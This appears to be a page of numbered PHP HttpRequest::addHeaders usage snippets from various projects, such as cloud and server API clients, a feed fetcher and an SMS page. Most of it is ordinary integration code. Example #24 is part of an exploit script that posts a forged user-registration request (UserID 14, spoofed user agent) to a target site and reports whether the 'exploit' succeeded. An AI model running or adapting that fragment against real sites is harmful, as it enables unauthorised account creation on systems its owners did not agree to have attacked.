         error_log($ex);
     }
 }
Example #19
0
        $canSendAll = true;
        $canSendFHE = false;
        // Get a list of all members of the stake
        $mems = array();
        $q = "SELECT ID FROM Members WHERE WardID IN (SELECT ID FROM Wards WHERE StakeID = '{$LEADER->StakeID}') ORDER BY FirstName ASC, LastName ASC";
        $r = DB::Run($q);
        while ($row = mysql_fetch_array($r)) {
            array_push($mems, Member::Load($row['ID']));
        }
        $fheGroupMembers = array();
        $textsRemaining = SMS_MAX_PER_DAY;
    }
}
// Get current Nexmo balance
$request = new HttpRequest(SMS_META_BASE . "/account/get-balance/" . SMS_API_KEY . "/" . SMS_API_SECRET, HttpRequest::METH_GET);
$request->addHeaders(array("Accept" => "application/json"));
$request->send();
$response = json_decode($request->getResponseBody());
$minFundsRequired = 2;
// Minumum EUR on account to allow sending SMS
$notEnoughFunds = $response->value < $minFundsRequired && !$response->autoReload;
// The balance is in EUR
?>
<!DOCTYPE html>
<html>
	<head>
		<title>Send text messages &mdash; <?php 
echo $WARD ? $WARD->Name . " Ward" : SITE_NAME;
?>
</title>
		<?php 
Example #20
0
 public function request($method, stdClass $params = null, $namespace = null)
 {
     if (!$namespace) {
         $namespace = $this->namespace;
     }
     $requestObj = new stdClass();
     $requestObj->id = microtime(true);
     $requestObj->method = $method;
     $requestObj->params = new stdClass();
     $this->walkSerialize($params, $requestObj->params, 'underScope');
     $jsonRequest = $this->cryptoTool->encrypt(json_encode($requestObj), $this->dbServer->GetKey(true));
     $dt = new DateTime('now', new DateTimeZone("UTC"));
     $timestamp = $dt->format("D d M Y H:i:s e");
     $canonical_string = $jsonRequest . $timestamp;
     $signature = base64_encode(hash_hmac('SHA1', $canonical_string, $this->dbServer->GetKey(true), 1));
     $request = new HttpRequest();
     $request->setMethod(HTTP_METH_POST);
     // If no VPC router communicating via local inteface (Scalr should be setup within the esame network)
     $requestHost = $this->dbServer->getSzrHost() . ":{$this->port}";
     if ($this->isVPC) {
         $routerFarmRoleId = $this->dbServer->GetFarmRoleObject()->GetSetting(Scalr_Role_Behavior_Router::ROLE_VPC_SCALR_ROUTER_ID);
         if ($routerFarmRoleId) {
             $routerRole = DBFarmRole::LoadByID($routerFarmRoleId);
         } else {
             $routerRole = $this->dbServer->GetFarmObject()->GetFarmRoleByBehavior(ROLE_BEHAVIORS::VPC_ROUTER);
         }
         if ($routerRole) {
             // No public IP need to use proxy
             if (!$this->dbServer->remoteIp) {
                 $requestHost = $routerRole->GetSetting(Scalr_Role_Behavior_Router::ROLE_VPC_IP) . ":80";
                 $request->addHeaders(array("X-Receiver-Host" => $this->dbServer->localIp, "X-Receiver-Port" => $this->port));
                 // There is public IP, can use it
             } else {
                 $requestHost = "{$this->dbServer->remoteIp}:{$this->port}";
             }
         }
     }
     $request->setUrl("http://{$requestHost}/{$namespace}");
     $request->setOptions(array('timeout' => $this->timeout, 'connecttimeout' => 10));
     $request->addHeaders(array("Date" => $timestamp, "X-Signature" => $signature, "X-Server-Id" => $this->dbServer->serverId));
     $request->setBody($jsonRequest);
     try {
         // Send request
         $request->send();
         $this->debug['responseCode'] = $request->getResponseCode();
         $this->debug['fullResponse'] = $request->getRawResponseMessage();
         if ($request->getResponseCode() == 200) {
             $response = $request->getResponseData();
             $body = $this->cryptoTool->decrypt($response['body'], $this->dbServer->GetKey(true));
             $jResponse = @json_decode($body);
             if ($jResponse->error) {
                 throw new Exception("{$jResponse->error->message} ({$jResponse->error->code}): {$jResponse->error->data}");
             }
             return $jResponse;
         } else {
             $response = $request->getResponseData();
             throw new Exception(sprintf("Unable to perform request to scalarizr: %s (%s)", $response['body'], $request->getResponseCode()));
         }
     } catch (HttpException $e) {
         if (isset($e->innerException)) {
             $msg = $e->innerException->getMessage();
         } else {
             $msg = $e->getMessage();
         }
         if (stristr($msg, "Namespace not found")) {
             $msg = "Feature not supported by installed version of scalarizr. Please update it to the latest version and try again.";
         }
         throw new Exception(sprintf("Unable to perform request to scalarizr: %s", $msg));
     }
 }
 public function fetchAllOnce(array $urls, $isRedirect = false)
 {
     if (!$isRedirect) {
         $urls = array_unique($urls);
     }
     if (empty($urls)) {
         return;
     }
     //////////////////////////////////////////////////////
     // parallel (HttpRequestPool)
     if ($this->method == self::METHOD_REQUEST_POOL) {
         $this->debug('Starting parallel fetch (HttpRequestPool)');
         try {
             while (count($urls) > 0) {
                 $this->debug('Processing set of ' . min($this->maxParallelRequests, count($urls)));
                 $subset = array_splice($urls, 0, $this->maxParallelRequests);
                 $pool = new HttpRequestPool();
                 foreach ($subset as $orig => $url) {
                     if (!$isRedirect) {
                         $orig = $url;
                     }
                     unset($this->redirectQueue[$orig]);
                     $this->debug("...{$url}");
                     if (!$isRedirect && isset($this->requests[$url])) {
                         $this->debug("......in memory");
                         /*
                         } elseif ($this->isCached($url)) {
                         	$this->debug("......is cached");
                         	if (!$this->minimiseMemoryUse) {
                         		$this->requests[$url] = $this->getCached($url);
                         	}
                         */
                     } else {
                         $this->debug("......adding to pool");
                         $req_url = $this->rewriteHashbangFragment ? $this->rewriteHashbangFragment($url) : $url;
                         $req_url = $this->removeFragment($req_url);
                         $httpRequest = new HttpRequest($req_url, HttpRequest::METH_GET, $this->requestOptions);
                         // send cookies, if we have any
                         if ($cookies = $this->cookieJar->getMatchingCookies($req_url)) {
                             $this->debug("......sending cookies: {$cookies}");
                             $httpRequest->addHeaders(array('Cookie' => $cookies));
                         }
                         $this->requests[$orig] = array('headers' => null, 'body' => null, 'httpRequest' => $httpRequest);
                         $this->requests[$orig]['original_url'] = $orig;
                         $pool->attach($httpRequest);
                     }
                 }
                 // did we get anything into the pool?
                 if (count($pool) > 0) {
                     $this->debug('Sending request...');
                     try {
                         $pool->send();
                     } catch (HttpRequestPoolException $e) {
                         // do nothing
                     }
                     $this->debug('Received responses');
                     foreach ($subset as $orig => $url) {
                         if (!$isRedirect) {
                             $orig = $url;
                         }
                         //if (!isset($this->requests[$url]['fromCache'])) {
                         $request = $this->requests[$orig]['httpRequest'];
                         //$this->requests[$orig]['headers'] = $this->headersToString($request->getResponseHeader());
                         // getResponseHeader() doesn't return status line, so, for consistency...
                         $this->requests[$orig]['headers'] = substr($request->getRawResponseMessage(), 0, $request->getResponseInfo('header_size'));
                         $this->requests[$orig]['body'] = $request->getResponseBody();
                         $this->requests[$orig]['effective_url'] = $request->getResponseInfo('effective_url');
                         $this->requests[$orig]['status_code'] = $status_code = $request->getResponseCode();
                         // is redirect?
                         if ((in_array($status_code, array(300, 301, 302, 303, 307)) || $status_code > 307 && $status_code < 400) && $request->getResponseHeader('location')) {
                             $redirectURL = $request->getResponseHeader('location');
                             if (!preg_match('!^https?://!i', $redirectURL)) {
                                 $redirectURL = SimplePie_Misc::absolutize_url($redirectURL, $url);
                             }
                             if ($this->validateURL($redirectURL)) {
                                 $this->debug('Redirect detected. Valid URL: ' . $redirectURL);
                                 // store any cookies
                                 $cookies = $request->getResponseHeader('set-cookie');
                                 if ($cookies && !is_array($cookies)) {
                                     $cookies = array($cookies);
                                 }
                                 if ($cookies) {
                                     $this->cookieJar->storeCookies($url, $cookies);
                                 }
                                 $this->redirectQueue[$orig] = $redirectURL;
                             } else {
                                 $this->debug('Redirect detected. Invalid URL: ' . $redirectURL);
                             }
                         }
                         //die($url.' -multi- '.$request->getResponseInfo('effective_url'));
                         $pool->detach($request);
                         unset($this->requests[$orig]['httpRequest'], $request);
                         /*
                         if ($this->minimiseMemoryUse) {
                         	if ($this->cache($url)) {
                         		unset($this->requests[$url]);
                         	}
                         }
                         */
                         //}
                     }
                 }
             }
         } catch (HttpException $e) {
             $this->debug($e);
             return false;
         }
     } elseif ($this->method == self::METHOD_CURL_MULTI) {
         $this->debug('Starting parallel fetch (curl_multi_*)');
         while (count($urls) > 0) {
             $this->debug('Processing set of ' . min($this->maxParallelRequests, count($urls)));
             $subset = array_splice($urls, 0, $this->maxParallelRequests);
             $pool = new RollingCurl(array($this, 'handleCurlResponse'));
             $pool->window_size = count($subset);
             foreach ($subset as $orig => $url) {
                 if (!$isRedirect) {
                     $orig = $url;
                 }
                 unset($this->redirectQueue[$orig]);
                 $this->debug("...{$url}");
                 if (!$isRedirect && isset($this->requests[$url])) {
                     $this->debug("......in memory");
                     /*
                     } elseif ($this->isCached($url)) {
                     	$this->debug("......is cached");
                     	if (!$this->minimiseMemoryUse) {
                     		$this->requests[$url] = $this->getCached($url);
                     	}
                     */
                 } else {
                     $this->debug("......adding to pool");
                     $req_url = $this->rewriteHashbangFragment ? $this->rewriteHashbangFragment($url) : $url;
                     $req_url = $this->removeFragment($req_url);
                     $headers = array();
                     // send cookies, if we have any
                     if ($cookies = $this->cookieJar->getMatchingCookies($req_url)) {
                         $this->debug("......sending cookies: {$cookies}");
                         $headers[] = 'Cookie: ' . $cookies;
                     }
                     $httpRequest = new RollingCurlRequest($req_url, 'GET', null, $headers, array(CURLOPT_CONNECTTIMEOUT => $this->requestOptions['timeout'], CURLOPT_TIMEOUT => $this->requestOptions['timeout']));
                     $httpRequest->set_original_url($orig);
                     $this->requests[$orig] = array('headers' => null, 'body' => null, 'httpRequest' => $httpRequest);
                     $this->requests[$orig]['original_url'] = $orig;
                     // TODO: is this needed anymore?
                     $pool->add($httpRequest);
                 }
             }
             // did we get anything into the pool?
             if (count($pool) > 0) {
                 $this->debug('Sending request...');
                 $pool->execute();
                 // this will call handleCurlResponse() and populate $this->requests[$orig]
                 $this->debug('Received responses');
                 foreach ($subset as $orig => $url) {
                     if (!$isRedirect) {
                         $orig = $url;
                     }
                     // $this->requests[$orig]['headers']
                     // $this->requests[$orig]['body']
                     // $this->requests[$orig]['effective_url']
                     $status_code = $this->requests[$orig]['status_code'];
                     if ((in_array($status_code, array(300, 301, 302, 303, 307)) || $status_code > 307 && $status_code < 400) && isset($this->requests[$orig]['location'])) {
                         $redirectURL = $this->requests[$orig]['location'];
                         if (!preg_match('!^https?://!i', $redirectURL)) {
                             $redirectURL = SimplePie_Misc::absolutize_url($redirectURL, $url);
                         }
                         if ($this->validateURL($redirectURL)) {
                             $this->debug('Redirect detected. Valid URL: ' . $redirectURL);
                             // store any cookies
                             $cookies = $this->cookieJar->extractCookies($this->requests[$orig]['headers']);
                             if (!empty($cookies)) {
                                 $this->cookieJar->storeCookies($url, $cookies);
                             }
                             $this->redirectQueue[$orig] = $redirectURL;
                         } else {
                             $this->debug('Redirect detected. Invalid URL: ' . $redirectURL);
                         }
                     }
                     // die($url.' -multi- '.$request->getResponseInfo('effective_url'));
                     unset($this->requests[$orig]['httpRequest']);
                 }
             }
         }
     } else {
         $this->debug('Starting sequential fetch (file_get_contents)');
         $this->debug('Processing set of ' . count($urls));
         foreach ($urls as $orig => $url) {
             if (!$isRedirect) {
                 $orig = $url;
             }
             unset($this->redirectQueue[$orig]);
             $this->debug("...{$url}");
             if (!$isRedirect && isset($this->requests[$url])) {
                 $this->debug("......in memory");
                 /*
                 } elseif ($this->isCached($url)) {
                 	$this->debug("......is cached");
                 	if (!$this->minimiseMemoryUse) {
                 		$this->requests[$url] = $this->getCached($url);
                 	}
                 */
             } else {
                 $this->debug("Sending request for {$url}");
                 $this->requests[$orig]['original_url'] = $orig;
                 $req_url = $this->rewriteHashbangFragment ? $this->rewriteHashbangFragment($url) : $url;
                 $req_url = $this->removeFragment($req_url);
                 // send cookies, if we have any
                 $httpContext = $this->httpContext;
                 if ($cookies = $this->cookieJar->getMatchingCookies($req_url)) {
                     $this->debug("......sending cookies: {$cookies}");
                     $httpContext['http']['header'] .= 'Cookie: ' . $cookies . "\r\n";
                 }
                 if (false !== ($html = @file_get_contents($req_url, false, stream_context_create($httpContext)))) {
                     $this->debug('Received response');
                     // get status code
                     if (!isset($http_response_header[0]) || !preg_match('!^HTTP/\\d+\\.\\d+\\s+(\\d+)!', trim($http_response_header[0]), $match)) {
                         $this->debug('Error: no status code found');
                         // TODO: handle error - no status code
                     } else {
                         $this->requests[$orig]['headers'] = $this->headersToString($http_response_header, false);
                         $this->requests[$orig]['body'] = $html;
                         $this->requests[$orig]['effective_url'] = $req_url;
                         $this->requests[$orig]['status_code'] = $status_code = (int) $match[1];
                         unset($match);
                         // handle redirect
                         if (preg_match('/^Location:(.*?)$/m', $this->requests[$orig]['headers'], $match)) {
                             $this->requests[$orig]['location'] = trim($match[1]);
                         }
                         if ((in_array($status_code, array(300, 301, 302, 303, 307)) || $status_code > 307 && $status_code < 400) && isset($this->requests[$orig]['location'])) {
                             $redirectURL = $this->requests[$orig]['location'];
                             if (!preg_match('!^https?://!i', $redirectURL)) {
                                 $redirectURL = SimplePie_Misc::absolutize_url($redirectURL, $url);
                             }
                             if ($this->validateURL($redirectURL)) {
                                 $this->debug('Redirect detected. Valid URL: ' . $redirectURL);
                                 // store any cookies
                                 $cookies = $this->cookieJar->extractCookies($this->requests[$orig]['headers']);
                                 if (!empty($cookies)) {
                                     $this->cookieJar->storeCookies($url, $cookies);
                                 }
                                 $this->redirectQueue[$orig] = $redirectURL;
                             } else {
                                 $this->debug('Redirect detected. Invalid URL: ' . $redirectURL);
                             }
                         }
                     }
                 } else {
                     $this->debug('Error retrieving URL');
                     //print_r($req_url);
                     //print_r($http_response_header);
                     //print_r($html);
                     // TODO: handle error - failed to retrieve URL
                 }
             }
         }
     }
 }
 public function customHeadersList()
 {
     $r = new HttpRequest(new URL('http://example.com/'));
     $r->addHeaders(array('X-Binford' => array(6100, 'Even more power')));
     $this->assertEquals("GET / HTTP/1.1\r\nConnection: close\r\nHost: example.com\r\nX-Binford: 6100\r\nX-Binford: Even more power\r\n\r\n", $r->getRequestString());
 }
Example #23
0
 private function request($path, $method, $data = "")
 {
     $data = trim($data);
     $httpRequest = new HttpRequest();
     $httpRequest->setOptions(array("useragent" => "Scalr (http://scalr.com)"));
     $fullUrl = "{$this->chefServerUrl}{$path}";
     $chunks = parse_url($fullUrl);
     if ($method == 'POST' && $data) {
         if (is_array($data)) {
             $httpRequest->setPostFields($data);
         } else {
             $httpRequest->setBody($data);
         }
     }
     if ($method == 'PUT' && $data) {
         $httpRequest->setPutData($data);
     }
     $httpRequest->setUrl($fullUrl);
     $httpRequest->setMethod(constant("HTTP_METH_{$method}"));
     $tz = @date_default_timezone_get();
     date_default_timezone_set("UTC");
     $timestamp = date("Y-m-d\\TH:i:s\\Z");
     date_default_timezone_set($tz);
     $chunks['path'] = str_replace('//', '/', $chunks['path']);
     $hashedPath = base64_encode(sha1($chunks['path'], true));
     $hashedBody = base64_encode(sha1($data, true));
     $userId = $this->username;
     $str = "Method:{$method}\n" . "Hashed Path:{$hashedPath}\n" . "X-Ops-Content-Hash:{$hashedBody}\n" . "X-Ops-Timestamp:{$timestamp}\n" . "X-Ops-UserId:{$userId}";
     $headers = array('x-ops-sign' => "algorithm=sha1;version=1.0", 'x-chef-version' => "0.10.8", 'x-ops-userid' => $userId, 'x-ops-timestamp' => $timestamp, 'x-ops-content-hash' => $hashedBody, 'content-type' => 'application/json', 'accept' => 'application/json');
     $r = array_merge($headers, $this->sign($str));
     $httpRequest->addHeaders($r);
     $httpRequest->send();
     if ($httpRequest->getResponseCode() == 401) {
         throw new Exception("Failed to authenticate as {$userId}. Ensure that your node_name and client key are correct.");
     }
     if ($httpRequest->getResponseCode() == 404) {
         throw new Exception("Client not found or parameters are not valid");
     } else {
         if ($httpRequest->getResponseCode() <= 205) {
             $data = $httpRequest->getResponseData();
             $retval = $data['body'] ? json_decode($data['body']) : true;
         } else {
             if ($httpRequest->getResponseCode() > 400) {
                 $data = $httpRequest->getResponseData();
                 $msg = $data['body'] ? json_decode($data['body']) : "";
                 if (is_array($msg->error)) {
                     $msg = $msg->error[0];
                 } elseif ($msg->error) {
                     $msg = $msg->error;
                 } else {
                     $msg = "Unknown error. Error code: {$httpRequest->getResponseCode()}";
                 }
                 throw new Exception("Request to chef server failed with error: {$msg} ({$method} {$path})");
             } else {
                 throw new Exception("Unexpected situation. Response code {$httpRequest->getResponseCode()}");
             }
         }
     }
     return $retval;
 }
Example #24
0
} else {
    $ARG = array();
    foreach ($argv as $arg) {
        if (strpos($arg, '-') === 0) {
            $key = substr($arg, 1, 1);
            if (!isset($ARG[$key])) {
                $ARG[$key] = substr($arg, 3, strlen($arg));
            }
        }
    }
    if ($ARG[u] && $ARG[p] && $ARG[e] && $ARG[s]) {
        $post_fields = array('ContentObjectAttribute_data_user_login_30' => $ARG[u], 'ContentObjectAttribute_data_user_password_30' => $ARG[p], 'ContentObjectAttribute_data_user_password_confirm_30' => $ARG[p], 'ContentObjectAttribute_data_user_email_30' => $ARG[e], 'UserID' => '14', 'PublishButton' => '1');
        $headers = array('User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14', 'Referer' => $ARG[s]);
        $res_http = new HttpRequest($ARG[s] . "/user/register", HttpRequest::METH_POST);
        $res_http->addPostFields($post_fields);
        $res_http->addHeaders($headers);
        try {
            $response = $res_http->send()->getBody();
            if (eregi("success", $response)) {
                successfully($ARG[u], $ARG[p]);
            } else {
                print "[-] Exploit failed";
            }
        } catch (HttpException $exception) {
            print "[-] Not connected";
            exit(0);
        }
    } else {
        help_argc($argv[0]);
        exit(0);
    }
Example #25
0
 /**
  * The CreateBucket operation creates a bucket. Not every string is an acceptable bucket name.
  *
  * @param string $bucket_name
  * @return string 
  */
 public function CreateBucket($bucket_name, $region = 'us-east-1')
 {
     $HttpRequest = new HttpRequest();
     $HttpRequest->setOptions(array("redirect" => 10, "useragent" => "LibWebta AWS Client (http://webta.net)"));
     $timestamp = $this->GetTimestamp(true);
     switch ($region) {
         case "us-east-1":
             $request = "";
             break;
         case "us-west-1":
             $request = "<CreateBucketConfiguration><LocationConstraint>us-west-1</LocationConstraint></CreateBucketConfiguration>";
             break;
         case "eu-west-1":
             $request = "<CreateBucketConfiguration><LocationConstraint>EU</LocationConstraint></CreateBucketConfiguration>";
             break;
     }
     $data_to_sign = array("PUT", "", "", $timestamp, "/{$bucket_name}/");
     $signature = $this->GetRESTSignature($data_to_sign);
     $HttpRequest->setUrl("https://{$bucket_name}.s3.amazonaws.com/");
     $HttpRequest->setMethod(constant("HTTP_METH_PUT"));
     $headers = array("Content-length" => strlen($request), "Date" => $timestamp, "Authorization" => "AWS {$this->AWSAccessKeyId}:{$signature}");
     $HttpRequest->addHeaders($headers);
     if ($request != '') {
         $HttpRequest->setPutData($request);
     }
     try {
         $HttpRequest->send();
         $info = $HttpRequest->getResponseInfo();
         if ($info['response_code'] == 200) {
             return true;
         } else {
             if ($HttpRequest->getResponseBody()) {
                 $xml = @simplexml_load_string($HttpRequest->getResponseBody());
                 throw new Exception((string) $xml->Message);
             } else {
                 throw new Exception(_("Cannot create S3 bucket at this time. Please try again later."));
             }
         }
     } catch (HttpException $e) {
         throw new Exception($e->__toString());
     }
 }
 public function actionRegister()
 {
     $r = new \HttpRequest('https://agg.cipo.rnp.br/dds/subscriptions', \HttpRequest::METH_POST);
     $r->addHeaders(array('Accept-encoding' => 'application/xml;charset=utf-8', 'Content-Type' => 'application/xml;charset=utf-8'));
     $r->setBody('<?xml version="1.0" encoding="UTF-8"?><tns:subscriptionRequest xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
                 xmlns:tns="http://schemas.ogf.org/nsi/2014/02/discovery/types">
             <requesterId>urn:ogf:network:cipo.ufrgs.br:2014:nsa:meican</requesterId>
             <callback>http://meican-cipo.inf.ufrgs.br/meican2/web/topology/service/discovery/notification</callback>
             <filter>
                 <include>
                     <event>All</event>
                 </include>
             </filter>
         </tns:subscriptionRequest>');
     $r->send();
     Yii::trace($r->getResponseCode() . " " . $r->getResponseBody());
     return "";
 }
Example #27
0
 /**
  * Creates a request.
  *
  * @param string $url Request URL
  * @param integer $method Request method
  * @param array $headers Array of headers
  * @return \HttpRequest
  */
 private function getRequest($url, $method, array $headers = array())
 {
     $request = new \HttpRequest($url, $method, $this->options);
     $request->setHeaders(array('Expect' => ''));
     $request->addHeaders($headers);
     return $request;
 }
Example #28
0
 /**
  * Make a request to Fluidinfo API
  *
  * @param $method
  * @param $path
  * @param $params
  * @param $payload
  * @return object
  */
 public function call($method, $path, $params = null, $payload = null, $contenttype = 'application/json', $inPool = false)
 {
     $url = $this->prefix . $path;
     if ($params) {
         $url .= '?' . $this->array2url($params);
     }
     $ch = new HttpRequest();
     $met = 0;
     if ($method == 'POST') {
         $met = HTTP_METH_POST;
     } else {
         if ($method == 'PUT') {
             $met = HTTP_METH_PUT;
         } else {
             if ($method == 'DELETE') {
                 $met = HTTP_METH_DELETE;
             } else {
                 if ($method == 'GET') {
                     $met = HTTP_METH_GET;
                 } else {
                     if ($method == 'HEAD') {
                         $met = HTTP_METH_HEAD;
                     } else {
                     }
                 }
             }
         }
     }
     $ch->setMethod($met);
     if ($this->credentials) {
         $ch->setOptions(array('url' => $url, 'timeout' => 65, 'low_speed_time' => 65, 'useragent' => 'fluid-phpv1.1', 'httpauth' => $this->credentials));
     } else {
         $ch->setOptions(array('url' => $url, 'timeout' => 65, 'low_speed_time' => 65, 'useragent' => 'fluid-phpv1.1'));
     }
     $headers = array();
     if ($method != 'GET') {
         if ($payload or $method == 'PUT') {
             $payload = json_encode($payload);
             //$ch->setPutData($payload);
             $headers[] = 'Content-Type: ' . $contenttype;
             $headers[] = 'Content-Length: ' . strlen($payload);
             if ($method == 'POST') {
                 $ch->setRawPostData($payload);
             } else {
                 $ch->setPutData($payload);
             }
             $ch->setContentType($contenttype);
         }
     }
     $ch->addHeaders($headers);
     $ch->addHeaders(array('Expect' => ''));
     if ($inPool == false) {
         $response = $ch->send();
         $infos = $response->getHeaders();
         $output = $response->getBody();
         if ($infos['Content-Type'] == 'application/json' or $infos['Content-Type'] == 'application/vnd.fluiddb.value+json') {
             $output = json_decode($output);
         }
         $return_arr = array($response->getResponseCode(), $output, implode("\n", $infos));
         print "<pre>";
         print "Returning for method " . $method . "<br />";
         print_r($return_arr);
         print "<br />";
         print "</pre>";
         return $return_arr;
     } else {
         $this->pool->attach($ch);
     }
 }